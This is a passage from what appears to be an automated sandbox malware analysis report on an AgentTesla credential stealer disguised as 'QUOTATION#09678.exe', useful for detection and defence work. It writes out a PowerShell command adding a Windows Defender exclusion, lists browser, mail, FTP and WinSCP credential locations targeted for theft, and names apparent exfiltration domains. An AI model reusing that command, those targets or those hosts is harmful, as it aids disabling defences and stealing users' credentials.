Source: Amcache.hve.8.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.8.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.8.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.8.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: QUOTATION#09678.exe, 00000000.00000002.1895673807.000001F3D03FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWARE
Source: QUOTATION#09678.exe, 00000000.00000002.1895673807.000001F3D03FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\'C:\WINDOWS\system32\drivers\vmmouse.sys&C:\WINDOWS\system32\drivers\vmhgfs.sys
Source: Amcache.hve.8.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: QUOTATION#09678.exe, 00000000.00000002.1895673807.000001F3D03FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
Source: QUOTATION#09678.exe, 00000000.00000002.1895673807.000001F3D03FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware SVGA II
Source: Amcache.hve.8.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.8.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: AddInProcess32.exe, 00000004.00000002.4174814523.00000000060D0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Amcache.hve.8.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.8.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: QUOTATION#09678.exe, 00000000.00000002.1895673807.000001F3D03FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\vmmouse.sys
Source: Amcache.hve.8.dr	Binary or memory string: vmci.syshbin`
Source: AddInProcess32.exe, 00000004.00000002.4168843900.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: vmware
Source: Amcache.hve.8.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: QUOTATION#09678.exe, 00000000.00000002.1895673807.000001F3D03FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\vmhgfs.sys
Source: QUOTATION#09678.exe, 00000000.00000002.1895673807.000001F3D03FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SOFTWARE\VMware, Inc.\VMware Tools
Source: Amcache.hve.8.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.8.dr	Binary or memory string: VMware20,1
Source: AddInProcess32.exe, 00000004.00000002.4168843900.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: VMwareVBoxESelect * from Win32_ComputerSystem
Source: Amcache.hve.8.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.8.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.8.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.8.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.8.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.8.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.8.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: QUOTATION#09678.exe, 00000000.00000002.1895673807.000001F3D03FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: noValueButYesKey)C:\WINDOWS\system32\drivers\VBoxMouse.sys
Source: QUOTATION#09678.exe, 00000000.00000002.1895673807.000001F3D03FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\VBoxMouse.sys
Source: Amcache.hve.8.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.8.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.8.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.8.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 4_2_02CA7E88 CheckRemoteDebuggerPresent,

4_2_02CA7E88

Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION#09678.exe

Code function: 0_2_00007FFD9B88E395 rdtsc

0_2_00007FFD9B88E395

Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION#09678.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: QUOTATION#09678.exe, --------------------.cs	Reference to suspicious API methods: GetProcAddress(_05B6_05F8_0593_05BF_05B6_05BD_05B6_0599, _059A_05B1_05A2_05FD_05B4_0591_05BE_05EC_05F9_05F7_05A5)
Source: QUOTATION#09678.exe, --------------------.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer<_0595_05AF_0594_05C2_059D_05F9_05B9_05C2_05B9_05B7_05F9_05F8>(GetProcAddress(LoadLibrary(_05C7_05C4_05AE_05EB_05A4_05CA_05A8_05B1_05BB_05A3_05C6_05F3_05A6_05A8_05FE_05B0_05CD_05FD_05C9_05C9_05CD[2]), _05C7_05C4_05AE_05EB_05A4_05CA_05A8_05B1_05BB_05A3_05C6_05F3_05A6_05A8_05FE_05B0_05CD_05FD_05C9_05C9_05CD[3]))
Source: 0.2.QUOTATION#09678.exe.1f3e007af08.1.raw.unpack, IUOWg.cs	Reference to suspicious API methods: jbDd2l.OpenProcess(BxXbof.DuplicateHandle, bInheritHandle: true, (uint)ou7yaxEwwl2.ProcessID)

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\QUOTATION#09678.exe" -Force
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\QUOTATION#09678.exe" -Force			Jump to behavior

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\QUOTATION#09678.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\QUOTATION#09678.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 440000	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 446000	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: A38008	Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\QUOTATION#09678.exe" -Force	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Queries volume information: C:\Users\user\Desktop\QUOTATION#09678.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION#09678.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disables UAC (registry)

Source: C:\Users\user\Desktop\QUOTATION#09678.exe

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System EnableLUA

Jump to behavior

Source: Amcache.hve.8.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.8.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.8.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.8.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 0.2.QUOTATION#09678.exe.1f3e00bc350.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION#09678.exe.1f3e00bc350.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION#09678.exe.1f3e007af08.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION#09678.exe.1f3e007af08.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.4171451807.0000000002DDD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4171451807.0000000002DB4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4168843900.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1896304643.000001F3E0037000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: QUOTATION#09678.exe PID: 1104, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AddInProcess32.exe PID: 5868, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

File opened: C:\FTP Navigator\Ftplist.txt

Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: Yara match	File source: 0.2.QUOTATION#09678.exe.1f3e00bc350.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION#09678.exe.1f3e00bc350.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION#09678.exe.1f3e007af08.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION#09678.exe.1f3e007af08.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.4171451807.0000000002DB4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4168843900.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1896304643.000001F3E0037000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: QUOTATION#09678.exe PID: 1104, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AddInProcess32.exe PID: 5868, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 0.2.QUOTATION#09678.exe.1f3e00bc350.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION#09678.exe.1f3e00bc350.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION#09678.exe.1f3e007af08.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION#09678.exe.1f3e007af08.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.4171451807.0000000002DDD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4171451807.0000000002DB4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4168843900.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1896304643.000001F3E0037000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: QUOTATION#09678.exe PID: 1104, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AddInProcess32.exe PID: 5868, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	21 Disable or Modify Tools	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	1 Exfiltration Over Alternative Protocol	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	311 Process Injection	1 Deobfuscate/Decode Files or Information	21 Input Capture	24 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Obfuscated Files or Information	1 Credentials in Registry	441 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Process Discovery	Distributed Component Object Model	21 Input Capture	23 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	151 Virtualization/Sandbox Evasion	LSA Secrets	151 Virtualization/Sandbox Evasion	SSH	1 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	311 Process Injection	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
QUOTATION#09678.exe	37%	ReversingLabs	Win64.Trojan.Jalapeno
QUOTATION#09678.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://api.ipify.org/	0%	URL Reputation	safe
https://api.ipify.org	0%	URL Reputation	safe
http://upx.sf.net	0%	URL Reputation	safe
https://account.dyn.com/	0%	URL Reputation	safe
https://api.ipify.org/t	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://ip-api.com/line/?fields=hosting	0%	URL Reputation	safe
http://ip-api.com	0%	URL Reputation	safe
http://ftp.ercolina-usa.com	0%	Avira URL Cloud	safe
http://ercolina-usa.com	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
ercolina-usa.com	192.254.225.136	true	true	unknown
api.ipify.org	172.67.74.152	true	false	unknown
ip-api.com	208.95.112.1	true	true	unknown
ftp.ercolina-usa.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/	false	URL Reputation: safe	unknown
http://ip-api.com/line/?fields=hosting	false	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.ipify.org	QUOTATION#09678.exe, 00000000.00000002.1896304643.000001F3E0037000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000004.00000002.4168843900.0000000000402000.00000040.00000400.00020000.00000000.sdmp, AddInProcess32.exe, 00000004.00000002.4171451807.0000000002D51000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://upx.sf.net	Amcache.hve.8.dr	false	URL Reputation: safe	unknown
https://account.dyn.com/	QUOTATION#09678.exe, 00000000.00000002.1896304643.000001F3E0037000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000004.00000002.4168843900.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.ipify.org/t	AddInProcess32.exe, 00000004.00000002.4171451807.0000000002D51000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	AddInProcess32.exe, 00000004.00000002.4171451807.0000000002D51000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ftp.ercolina-usa.com	AddInProcess32.exe, 00000004.00000002.4171451807.0000000002DDD000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000004.00000002.4171451807.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ercolina-usa.com	AddInProcess32.exe, 00000004.00000002.4171451807.0000000002DDD000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000004.00000002.4171451807.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
